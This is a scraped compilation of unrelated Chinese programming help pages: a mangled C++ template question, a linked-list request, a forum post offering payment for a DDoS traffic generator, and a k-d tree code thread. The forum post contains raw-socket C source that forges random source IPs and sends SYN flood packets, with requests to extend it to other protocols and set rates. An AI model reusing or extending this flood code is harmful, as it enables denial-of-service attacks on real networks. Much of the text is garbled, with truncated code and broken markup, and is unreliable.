C++ 程序 查找二叉排序树的查找算法 高手帮我编这个程序

哪位能帮我解释一下下面这个C++程序啊?尤其是加问号的地方, 哪位能帮我解释一下下面这个C++
哪位能帮我解释一下下面这个C++程序啊?尤其是加问号的地方 学生成绩};class T&int&gt.GetItem();&#47:val(){} /iO&exit(1);template &#include &lt:student{char name[8].score&#include&类模板成员的定义T Store&class T&//&#47,为什么要自加呢item=x;&#47:TT&&cout&S&&#47.GetItem();class T&}主函数部分#include &&&The student &quot.h&gt.h&iObj.h&quot!&//&类模板成员PutItem定义void Store&&lt:Store();};SOLisi&quot?T GetItem():;
&#47:PutItem(T x){val++;Student&学生成绩结构Store&;&#47头文件部分;;类模板定义class Store{Ncout&'&&}template &/}&#47:;val是用来干什么的;&SOStore&s score is &struct Student/这个构造函数后面加val()是什么意思i啊;&iObj,91};学生姓名/&void main(){Student graduate={&&&;/void PutItem(T x).PutItem(graduate);SObj:template&SO&#47:GetItem(){if(val==0){cout&&T&endl.PutItem(5);结构.name&lt.GetItem()&&#47 fanlijie666 哪位能帮我解释一下下面这个C++程序啊?尤其是加问号的地方
int val 的初始化2:val(){} 置放在constructor 里意味着. Store();/&#471:val=0求救:请高手帮我写一个简单的C++链表程-中国学网-中国IT综合门户网站
> 信息中心 >
求救:请高手帮我写一个简单的C++链表程
来源:互联网 发表时间: 3:38:39 责任编辑:李志喜字体:
为了帮助网友解决“求救:请高手帮我写一个简单的C++链表程”相关的问题,中国学网通过互联网对“求救:请高手帮我写一个简单的C++链表程”相关的解决方案进行了整理,用户详细问题包括:<,具体解决方案如下:解决方案1: 由于c++是c的扩展,所以,c程序可以有c++编译。不过c程序要有c++编译需要一个头文件#include &stdafx.h&下面是我以前写的一个链表程序/view/6c709ff9aef3.html希望对你有帮助
1个回答1个回答1个回答1个回答1个回答1个回答1个回答1个回答1个回答1个回答
相关文章:
最新添加资讯
24小时热门资讯
Copyright &#169; 2004- All Rights Reserved. 中国学网 版权所有
京ICP备号-1 京公网安备02号新手园地& & & 硬件问题Linux系统管理Linux网络问题Linux环境编程Linux桌面系统国产LinuxBSD& & & BSD文档中心AIX& & & 新手入门& & & AIX文档中心& & & 资源下载& & & Power高级应用& & & IBM存储AS400Solaris& & & Solaris文档中心HP-UX& & & HP文档中心SCO UNIX& & & SCO文档中心互操作专区IRIXTru64 UNIXMac OS X门户网站运维集群和高可用服务器应用监控和防护虚拟化技术架构设计行业应用和管理服务器及硬件技术& & & 服务器资源下载云计算& & & 云计算文档中心& & & 云计算业界& & & 云计算资源下载存储备份& & & 存储文档中心& & & 存储业界& & & 存储资源下载& & & Symantec技术交流区安全技术网络技术& & & 网络技术文档中心C/C++& & & GUI编程& & & Functional编程内核源码& & & 内核问题移动开发& & & 移动开发技术资料ShellPerlJava& & & Java文档中心PHP& & & php文档中心Python& & & Python文档中心RubyCPU与编译器嵌入式开发驱动开发Web开发VoIP开发技术MySQL& & & MySQL文档中心SybaseOraclePostgreSQLDB2Informix数据仓库与数据挖掘NoSQL技术IT业界新闻与评论IT职业生涯& & & 猎头招聘IT图书与评论& & & CU技术图书大系& & & Linux书友会二手交易下载共享Linux文档专区IT培训与认证& & & 培训交流& & & 认证培训清茶斋投资理财运动地带快乐数码摄影& & & 摄影器材& & & 摄影比赛专区IT爱车族旅游天下站务交流版主会议室博客SNS站务交流区CU活动专区& & & Power活动专区& & & 拍卖交流区频道交流区
UID521873空间积分0 积分112阅读权限10帖子精华可用积分112 信誉积分106 专家积分0 在线时间3 小时注册时间最后登录
白手起家, 积分 112, 距离下一级还需 88 积分
帖子主题精华可用积分112 信誉积分106 专家积分0 在线时间3 小时注册时间最后登录
论坛徽章:0
本帖最后由 kingjwj 于
16:24 编辑
在LINUX环境下,本人以前做了一个检测DDOS的系统,现在要做一个DDOS的流量生成的软件,用来测试之前的系统是否能够成功检测。注意:所有下面的测试都只需要在局域网内完成即可。
检测类型两种,一种是DDOS攻击(就是伪造大量源IP,目的IP自己指定(局域网内一个IP),填充数据包,再不停发送出去,产生大量流量),这种DDOS攻击,我又分成了很多细分的类型,主要根据协议种类(SYN、FIN、ICMP、HTTP、FTP、UDP、TELNET、SMTP等,SYN和FIN类型的DDOS攻击,已经完成,以前写的攻击程序还能用,就是把TCP协议标志位的SYN设置为1,就是产生了SYN包,后面会附上模拟SYN类型数据包的DDOS攻击源代码)
另外一种是PROBE攻击,(就是伪造大量目的IP,源IP自己指定(局域网内一个IP),填充数据包,再不停发送出去,产生大量流量),同样需要模拟各种协议类型的数据包,SYN、FIN、ICMP、HTTP、FTP、UDP、TELNET、SMTP等。
只要你能够实现对应的程序,在我的LINUX下,可以编译通过,执行之后我的DDOS系统能够检测出来,那么我会支付一定的费用,因为考虑代码实现的流程都是类似的,全部完成的费用是500元。
联系我的QQ:
最后附上模拟SYN流量的数据包生成与发送的源代码:(高手应该很容易实现的,我只是以前熟悉,太久没接触了,现在没心思去研究了,另外我提供的这个源码,对攻击速度是没有控制的,我记得以前还实现过模拟流量攻击是可以自己制定速度的,比如命令行第三个参数是3000,就是意味着每秒产生3000个攻击流量,如果这样实现的话,最好了)
此任务非常着急,2天内有限,如果费用500元不够,可以追加,多谢各位老大了!
#include &sys/socket.h&
#include &netinet/in.h&
#include &netinet/ip.h&
#include &netinet/tcp.h&
#include &stdlib.h&
#include &errno.h&
#include &unistd.h&
#include &stdio.h&
#include &netdb.h&
#define SRCPORT 80
#define DSTPORT 5183
struct prseuheader
unsigned long s_
unsigned long d_
void send_tcp(int sockfd, struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr, int len);
int main(int argc, char **argv)
struct sockaddr_
struct hostent *
int on = 1;
if (argc != 2) {
fprintf(stderr, &Usage:%s hostname\n\a&, argv[0]);
bzero(&addr, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_port = htons(SRCPORT);
if (inet_aton(argv[1], &addr.sin_addr) == 0) {
host = gethostbyname(argv[1]);
if (host == NULL) {
fprintf(stderr, &HostName Error:%s\n\a&, hstrerror(h_errno));
addr.sin_addr = *(struct in_addr *) (host-&h_addr_list[0]);
//创建一个TCP的原始套接字
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sockfd & 0) {
fprintf(stderr, &Socket Error:%s\n\a&, strerror(errno));
//设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写
setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
//只用超级护用户才可以使用原始套接字
setuid(getpid());
send_tcp(sockfd, &addr);
void send_tcp(int sockfd, struct sockaddr_in *addr)
char buffer[100];
char tcpbuff[32];
struct ip *
struct tcphdr *
head_len = sizeof(struct ip) + sizeof(struct tcphdr);
memset((void*)buffer,'\0',100) ;
//填充IP数据包头
ip = (struct ip *)
ip-&ip_v = IPVERSION;
ip-&ip_hl = sizeof(struct ip) && 2;
ip-&ip_tos = 0;
ip-&ip_len = htons(head_len);
ip-&ip_id = 0;
ip-&ip_off = 0;
ip-&ip_ttl = MAXTTL;
ip-&ip_p = IPPROTO_TCP;
//校验和让系统去做
ip-&ip_sum = 0;
ip-&ip_dst = addr-&sin_
//开始填写TCP数据包
tcp = (struct tcphdr *) (buffer + sizeof(struct ip));
tcp-&source = htons(DSTPORT);
tcp-&dest = addr-&sin_
tcp-&ack_seq = 0;
tcp-&doff = 5;
tcp-&syn = 1;
tcp-&check = 0;
tcp-&seq = random();
//随机生成源地址
ip-&ip_src.s_addr = random();
//填充伪头部
theheader.s_addr = ip-&ip_src.s_
theheader.d_addr = ip-&ip_dst.s_
theheader.zero = 0;
theheader.prototp = IPPROTO_TCP;
theheader.len = htons(20);
memset((void*)tcpbuff,'\0',32);
memcpy(tcpbuff,&theheader,12);
memcpy(tcpbuff+12,tcp,20);
//注意:tcp的校验和必须计算伪头部
tcp-&check = check_sum((unsigned short *) tcpbuff, 32);
sendto(sockfd, buffer, head_len, 0, addr, sizeof(struct sockaddr_in));
usleep(1);
unsigned short check_sum(unsigned short *buffer, int size)
unsigned long cksum = 0;
while(size&1)
cksum += *buffer++;
size -= sizeof(unsigned short);
cksum += *(unsigned char*)
cksum = (cksum&&16) + (cksum&0xffff); //将高16bit与低16bit相加
cksum += (cksum&&16); //将进位到高位的16bit与低16bit 再相加
return (unsigned short)(~cksum);
&&nbsp|&&nbsp&&nbsp|&&nbsp&&nbsp|&&nbsp&&nbsp|&&nbsp
UID521873空间积分0 积分112阅读权限10帖子精华可用积分112 信誉积分106 专家积分0 在线时间3 小时注册时间最后登录
白手起家, 积分 112, 距离下一级还需 88 积分
帖子主题精华可用积分112 信誉积分106 专家积分0 在线时间3 小时注册时间最后登录
论坛徽章:0
加钱了,加到800元,高手应该很简单的事情吧
非常感谢了。
代码结构可以乱一点都没关系,只要能运行出来结果,小弟课题结题,需要测试程序进行测试
UID7789873空间积分2 积分22296阅读权限90帖子精华可用积分22332 信誉积分3194 专家积分11 在线时间7163 小时注册时间最后登录
巨富豪门, 积分 22296, 距离下一级还需 17704 积分
帖子主题精华可用积分22332 信誉积分3194 专家积分11 在线时间7163 小时注册时间最后登录
论坛徽章:48
this job seems danger
UID空间积分0 积分7阅读权限10帖子精华可用积分7 信誉积分22 专家积分0 在线时间3 小时注册时间最后登录
白手起家, 积分 7, 距离下一级还需 193 积分
帖子主题精华可用积分7 信誉积分22 专家积分0 在线时间3 小时注册时间最后登录
论坛徽章:0
very danger小木虫 --- 500万硕博科研人员喜爱的学术科研平台
&&查看话题
求高手帮忙修改一段c++程序
下面是一段建立K-D树的c++程序,其中程序中的数据要修改为用读入txt文件中的数据来表示,且txt文件中的数据为三列,以空格分割。
#include "3dtree.h"
void main()
& & & & time_t tt = time(NULL);
& & & & //建立树
& & & & int nodes = 100000;
& & & & kdTree t(nodes);
& & & & //存储数据
& & & & t.store(1.0,1.0,1.0,0);
& & & & t.store(1.0,2.0,1.0,1);
& & & & t.store(2.0,4.0,5.0,2);
& & & & t.store(3.0,1.0,2.0,3);
& & & & t.store(4.0,6.0,2.0,4);
& & & & t.store(1.0,5.0,8.0,5);
& & & & //调整树
& & & & t.treeBalance();
& & & & //寻找最近临点
& & & & nNearestNodes nNN(3);
& & & & nNN.setDistandIndx(4.3);
& & & & nNN.setSearchPnt(2.0,4.0,5.0);
& & & & cout << endl << "searching ..." <<
& & & & t.locateNodes(&nNN,1);
& & & & if(nNN.found)
& & & & & & & & for(int i = 1; i <= nNN. i++)
& & & & & & & & {
& & & & & & & & & & & & cout < < "id of the nearest point: " << nNN.index->id < < endl < <
& & & & & & & & & & & & & & & & "the dis: " < < nNN.dist2 <<
& & & & & & & & & & & &
& & & & & & & & & & & & cout < < "the coordinates of the point:";
& & & & & & & & & & & & cout < < nNN.index->pos < < " "
& & & & & & & & & & & & & & & & < < nNN.index->pos < < " "
& & & & & & & & & & & & & & & & < < nNN.index->pos < < endl < <
& & & & & & & & }
& & & & else
& & & & & & & & cout << "Nothing found!" << endl <<
& & & & cout<<"run time:"<<difftime(time(NULL),tt)<<
& & & & system("pause");
3dtree.cpp
#include "3dtree.h"
kdTree::kdTree(const int nodes)
& & & & storedKDNodes = 0;
& & & & maxNumOfNodes =
& & & & kdNodes = new kdN
& & & & if(!kdNodes)
& & & & & & & & cout<<"初始化kd树时内存溢出!"<<
& & & & & & & & exit(-1);
& & & & boundrayMin = boundrayMin = boundrayMin = 1e8f;
& & & & boundrayMax = boundrayMax = boundrayMax = -1e8f;
kdTree::~kdTree()
& & & & delete&&kdN
void kdTree::treeBalance()
& & & & if(storedKDNodes > 1)
& & & & & & & & kdNode **pa1 = new kdNode*;&&//组织好树后的指针
& & & & & & & & kdNode **pa2 = new kdNode*;&&//原始元素的指针
& & & & & & & & for(int i =0; i <= storedKDN i++)
& & & & & & & & & & & & pa2 = &kdNodes;
& & & & & & & & balancePartition(pa1, pa2, 1, 1, storedKDNodes);
& & & & & & & & delete pa2;
& & & & & & & & //重新排列树
& & & & & & & & //__w64 int d, j = 1;& && && && && && &// According to the warning given when 'int ' is used
& & & & & & & & int d, j = 1; //j位置元素已经转移走
& & & & & & & & int foo = 1;&&//fooNodes存储的元素的最初位置
& & & & & & & & kdNode fooNodes = kdN
& & & & & & & & for( int i = 1; i <= storedKDN i++)
& & & & & & & & {
& & & & & & & & & & & & d = pa1 - kdN
& & & & & & & & & & & & pa1 = NULL;
& & & & & & & & & & & & if(d != foo)
& & & & & & & & & & & & & & & & kdNodes = kdN
& & & & & & & & & & & & else
& & & & & & & & & & & & {
& & & & & & & & & & & & & & & & kdNodes = fooN
& & & & & & & & & & & & & & & & if(i < storedKDNodes)
& & & & & & & & & & & & & & & & {
& & & & & & & & & & & & & & & & & & & & for(; foo <= storedKDN foo++)
& & & & & & & & & & & & & & & & & & & & & & & & if(NULL != pa1)
& & & & & & & & & & & & & & & & & & & & & & & & & & & &
& & & & & & & & & & & & & & & & & & & & fooNodes = kdN
& & & & & & & & & & & & & & & & & & & & j =
& & & & & & & & & & & & & & & & }
& & & & & & & & & & & & & & & &
& & & & & & & & & & & & }
& & & & & & & & & & & & j =
& & & & & & & & }
& & & & & & & & delete pa1;
& & & & halfStoredKDNodes = storedKDNodes/2 - 1;
void kdTree::locateNodes(nNearestNodes * const nNN,const int index)const
& & & & const kdNode *p = &kdN
& & & & double dist1;
& & & & if(index < halfStoredKDNodes)
& & & & & & & & dist1 = nNN->pos - p->
& & & & & & & & if(0.0 < dist1)
& & & & & & & & {
& & & & & & & & & & & & locateNodes(nNN, 2 * index + 1);
& & & & & & & & & & & & if(nNN->dist2 > dist1 * dist1)
& & & & & & & & & & & & & & & & locateNodes(nNN, 2 * index);
& & & & & & & & }
& & & & & & & & else
& & & & & & & & {
& & & & & & & & & & & & locateNodes(nNN, 2 * index);
& & & & & & & & & & & & if(nNN->dist2 > dist1 * dist1)
& & & & & & & & & & & & & & & & locateNodes(nNN, 2 * index + 1);
& & & & & & & & }//if
& & & & }//if
& & & & // 计算距离
& & & & dist1 = p->pos - nNN->
& & & & double dist2 = dist1 * dist1;
& & & & dist1 = p->pos - nNN->
& & & & dist2 += dist1 * dist1;
& & & & dist1 = p->pos - nNN->
& & & & dist2 += dist1 * dist1;
& & & & if(nNN->dist2 > dist2)
& & & & & & & & if(nNN->found max)
& & & & & & & & {
& & & & & & & & & & & & nNN->found++;
& & & & & & & & & & & & nNN->dist2 = dist2;
& & & & & & & & & & & & nNN->index =
& & & & & & & & }
& & & & & & & & else
& & & & & & & & {
& & & & & & & & & & & & int j,
& & & & & & & & & & & & if(0 == nNN->got_Heap)//建立大顶堆
& & & & & & & & & & & & {
& & & & & & & & & & & & & & & & double dst2;
& & & & & & & & & & & & & & & & const kdNode *
& & & & & & & & & & & & & & & & int halfFound = nNN->found >> 1;
& & & & & & & & & & & & & & & & for(int k = halfF k >= 1; k--)
& & & & & & & & & & & & & & & & {
& & & & & & & & & & & & & & & & & & & & parent =
& & & & & & & & & & & & & & & & & & & & nd = nNN->
& & & & & & & & & & & & & & & & & & & & dst2 = nNN->dist2;
& & & & & & & & & & & & & & & & & & & & while(parent <= halfFound)
& & & & & & & & & & & & & & & & & & & & {
& & & & & & & & & & & & & & & & & & & & & & & & j = parent +
& & & & & & & & & & & & & & & & & & & & & & & & if(j found && nNN->dist2 dist2)
& & & & & & & & & & & & & & & & & & & & & & & & & & & & j ++;
& & & & & & & & & & & & & & & & & & & & & & & & if(dst2 >= nNN->dist2)
& & & & & & & & & & & & & & & & & & & & & & & & & & & &
& & & & & & & & & & & & & & & & & & & & & & & & nNN->dist2 = nNN->dist2;
& & & & & & & & & & & & & & & & & & & & & & & & nNN->index = nNN->
& & & & & & & & & & & & & & & & & & & & & & & & parent =
& & & & & & & & & & & & & & & & & & & & }//while
& & & & & & & & & & & & & & & & & & & & nNN->dist2 = dst2;
& & & & & & & & & & & & & & & & & & & & nNN->index =
& & & & & & & & & & & & & & & & }//for
& & & & & & & & & & & & & & & & nNN->got_Heap = 1;
& & & & & & & & & & & & }//if
& & & & & & & & & & & & //插入
& & & & & & & & & & & & parent = 1;
& & & & & & & & & & & & //if()
& & & & & & & & & & & & j = 2;
& & & & & & & & & & & & while(j found)
& & & & & & & & & & & & {
& & & & & & & & & & & & & & & & if(j found && nNN->dist2 dist2)
& & & & & & & & & & & & & & & & & & & & j++;
& & & & & & & & & & & & & & & & if(dist2 > nNN->dist2)
& & & & & & & & & & & & & & & & & & & &
& & & & & & & & & & & & & & & & nNN->dist2 = nNN->dist2;
& & & & & & & & & & & & & & & & nNN->index = nNN->
& & & & & & & & & & & & & & & & parent =
& & & & & & & & & & & & & & & & j +=
& & & & & & & & & & & & }//while
& & & & & & & & & & & & if((parent != 1)||(dist2 dist2))
& & & & & & & & & & & & {
& & & & & & & & & & & & & & & & nNN->index =
& & & & & & & & & & & & & & & & nNN->dist2 = dist2;
& & & & & & & & & & & & }
& & & & & & & & & & & & nNN->dist2 = nNN->dist2;//??????
& & & & & & & & }//else
& & & & }//if& & & &
#define swap(kdN,a,b){ kdNode* tmp = kdN; kdN = kdN; kdN =}
void kdTree::medianPartition(kdNode** pOrig,const int start,const int end,const int median,const int axis)
& & & & int left =
& & & & int right =
& & & & while(right > left)
& & & & & & & & const TYPE v = pOrig->
& & & & & & & & int i = left - 1;
& & & & & & & & int j =
& & & & & & & & for(;;)
& & & & & & & & {
& & & & & & & & & & & & while(pOrig->pos < v);
& & & & & & & & & & & & while(pOrig->pos > v && j > left);
& & & & & & & & & & & & if(i >= j)
& & & & & & & & & & & & & & & &
& & & & & & & & & & & & swap(pOrig, i, j);
& & & & & & & & }
& & & & & & & & swap(pOrig, i, right);
& & & & & & & & if(i >= median)
& & & & & & & & & & & & right = i - 1;
& & & & & & & & if(i <= median)
& & & & & & & & & & & & left = i + 1;
void kdTree::balancePartition(kdNode** pBalanced,kdNode** pOriginal,const int index,const int start,const int end)
& & & & //计算median,这是怎么计算的呢???
& & & & int median = 1;
& & & & while((4 * median) <= (end - start + 1))
& & & & & & & & median +=&&//median*=2;
& & & & if((3 * median) <= (end - start +1))
& & & & & & & & median +=
& & & & & & & & median += start - 1;
& & & & else
& & & & & & & & median = end - median + 1;
& & & & // 寻找分割数据的轴
& & & & int axis = 2;
& & & & if((boundrayMax - boundrayMin) > (boundrayMax - boundrayMin)&&
& & & & & & & & (boundrayMax - boundrayMin) > (boundrayMax - boundrayMin))
& & & & & & & & axis = 0;
& & & & else if((boundrayMax - boundrayMin) > (boundrayMax - boundrayMin))
& & & & & & & & axis = 1;
& & & & // 按median分割节点
& & & & medianPartition(pOriginal, start, end, median, axis);
& & & & pBalanced = pO
& & & & pBalanced->plane =
& & & & // 迭代平衡左右子树
& & & & if(median > start)
& & & & & & & & if(start < median - 1)
& & & & & & & & {
& & & & & & & & & & & & const float tmp = boundrayM
& & & & & & & & & & & & boundrayMax = pBalanced->
& & & & & & & & & & & & balancePartition(pBalanced, pOriginal, 2 * index, start, median - 1);
& & & & & & & & & & & & boundrayMax =
& & & & & & & & }
& & & & & & & & else
& & & & & & & & & & & & pBalanced = pO
& & & & if(median < end)
& & & & & & & & if(median + 1 < end)
& & & & & & & & {
& & & & & & & & & & & & const float tmp = boundrayM
& & & & & & & & & & & & boundrayMin = pBalanced->
& & & & & & & & & & & & balancePartition(pBalanced, pOriginal, 2 * index + 1, median + 1, end);
& & & & & & & & & & & & boundrayMin =
& & & & & & & & }
& & & & & & & & else
& & & & & & & & & & & & pBalanced = pO
太长了,应该选择有问题的一段让人修改:cool:
研究生必备与500万研究生在线互动!
扫描下载送金币

我要回帖

更多关于 二叉排序树的查找 的文章

 

随机推荐